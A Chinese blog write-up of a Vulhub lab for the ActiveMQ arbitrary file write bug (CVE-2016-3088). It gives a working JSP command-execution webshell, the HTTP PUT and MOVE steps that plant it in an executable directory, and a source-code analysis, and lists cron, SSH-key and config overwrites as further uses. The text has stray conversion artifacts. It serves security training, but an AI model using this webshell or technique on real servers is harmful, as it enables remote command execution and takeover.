vulhub靶场练习 CVE-2016-3088 —— ActiveMQ任意文件写入漏洞

Vulhub靶场已经搭建完成,能够正式进行渗透测试的练习了。
本篇的内容是完成ActiveMQ任意文件写入漏洞(CVE-2016-3088)html

ActiveMQ介绍:Apache ActiveMQ是Apache软件基金会所研发的开放源代码消息中间件;因为ActiveMQ是一个纯Java程序,所以只须要操做系统支持Java虚拟机,ActiveMQ即可执行。java

本篇我就先进行一次完整的实验过程,而后再按照本身的理解来详细讲解。
web

实验步骤

1.进入ActiveMQ靶站
在这里插入图片描述
实验须要进行登陆,点击“Manage ActiveMQ broker”,登陆,帐号密码都是admin,进入以后效果以下:
在这里插入图片描述shell

2.而后进入首页下的fileserver这个文件夹里
在这里插入图片描述
bp抓包(刷新一下页面就行),而后send to repeater,改为put方法,写入shell,代码以下:api

<%
  	if("023".equals(request.getParameter("pwd"))){
  		java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
  		int a = -1;
  		byte[] b = new byte[2048];
  		out.print("<pre>");
  		while((a=in.read(b))!=-1){
  			out.println(new String(b));
  		}
  		out.print("</pre>");
  	}
%>

在这里插入图片描述
响应以下所示,说明成功:
在这里插入图片描述app

进入相应目录查看,发现确实已经写入shell文件,可是txt格式文件不能执行,因此须要转换成jsp格式的文件执行
在这里插入图片描述eclipse

3.而后继续抓包,send to repeater ,改包方法改成MOVE,路径是
Destination:file:///opt/activemq/webapps/api/testhacker.jsp
由于api这个目录能够解析jsp文件
在这里插入图片描述ssh

一样响应以下说明成功:
在这里插入图片描述webapp

进入api目录查看点击
在这里插入图片描述jsp

4.而后执行两句简单的命令ls和whoami,成功返回结果
在这里插入图片描述
在这里插入图片描述

实验相关补充

写入webshell门槛低且方便,可是fileserver这个目录是没有jsp的执行权限的,想要执行jsp的webshell须要将jsp文件放入admin或者api目录中,这两个目录是具备jsp解析执行权限的,可是这两个目录又须要登陆才能进入。因此当收到响应是4XX时,须要登陆。

漏洞原理

根据上面的操做能发现,漏洞原理简单来讲就是fileserver这个目录支持写入文件,而且这个目录支持move请求移动文件。所以,咱们只须要写入一个文件,再经过move移动到可以解析jsp文件的目录下,进去执行就会形成任意文件写入漏洞。
流程就是:写入文件(put方法)——>移动文件(move方法)——>执行文件

源码解释

下载源码进行分析,能够看到ActiveMQ 中的 FileServer 服务容许用户经过 HTTP PUT方法上传文件到指定目录,能够看到第二处的if至关于没有对用户身份进行校验。

源码若是看不懂能够看上面的字,意思表达很明确。

protected void doPut(HttpServletRequest request, HttpServletResponse response) throws ServletException, 
IOException {
 if (LOG.isDebugEnabled()) {
 LOG.debug("RESTful file access: PUT request for " + request.getRequestURI());
 }
 if (writePermissionRole != null && !request.isUserInRole(writePermissionRole)) {
 response.sendError(HttpURLConnection.HTTP_FORBIDDEN);
 return;
 }
 File file = locateFile(request);
 if (file.exists()) {
 boolean success = file.delete(); // replace file if it exists
 if (!success) {
 response.sendError(HttpURLConnection.HTTP_INTERNAL_ERROR); // file
 // existed
 // and
 // could
 // not
 // be
 // deleted
 return;
 }
 }

PUT方法调用以下函数以后,上传到的目录在${activemq.home}/webapps/fileserver下,源代码部分以下:

private File locateFile(HttpServletRequest request) {
 return new File(filterConfig.getServletContext().getRealPath(request.getServletPath()), request.
getPathInfo());
 }
 <bean class="org.eclipse.jetty.webapp.WebAppContext">
 <property name="contextPath" value="/fileserver" />
 <property name="resourceBase" value="${activemq.home}/webapps/fileserver " />  ##看这里看这里
 <property name="logUrlOnStart" value="true" />
 <property name="parentLoaderPriority" value="true" />
 </bean>

接下来看MOVE方法的源代码中并无对移动的路径进行限制.

protected void doMove(HttpServletRequest request, HttpServletResponse response) throws ServletException, 
IOException {
 if (LOG.isDebugEnabled()) {
 LOG.debug("RESTful file access: MOVE request for " + request.getRequestURI());
 }
 if (writePermissionRole != null && !request.isUserInRole(writePermissionRole)) {
 response.sendError(HttpURLConnection.HTTP_FORBIDDEN);
 return;
 }
 File file = locateFile(request);
 String destination = request.getHeader(HTTP_HEADER_DESTINATION);
 if (destination == null) {
 response.sendError(HttpURLConnection.HTTP_BAD_REQUEST, "Destination header not found");
 return;
 }
 try {
 URL destinationUrl = new URL(destination);
 IOHelper.copyFile(file, new File(destinationUrl.getFile()));
 IOHelper.deleteFile(file);
 } catch (IOException e) {
 response.sendError(HttpURLConnection.HTTP_INTERNAL_ERROR); // file
 // could
 // not
 // be
 // moved
 return;
 }

漏洞利用

文件写入有几种利用方法:我上面用的是写入webshell ,其余两个方法不太会弄。
1.写入webshell
2.写入cron或ssh key等文件
3.写入jar或jetty.xml等库和配置文件

参考资料

https://www.freebuf.com/vuls/213760.html https://www.jianshu.com/p/564fb8b54a67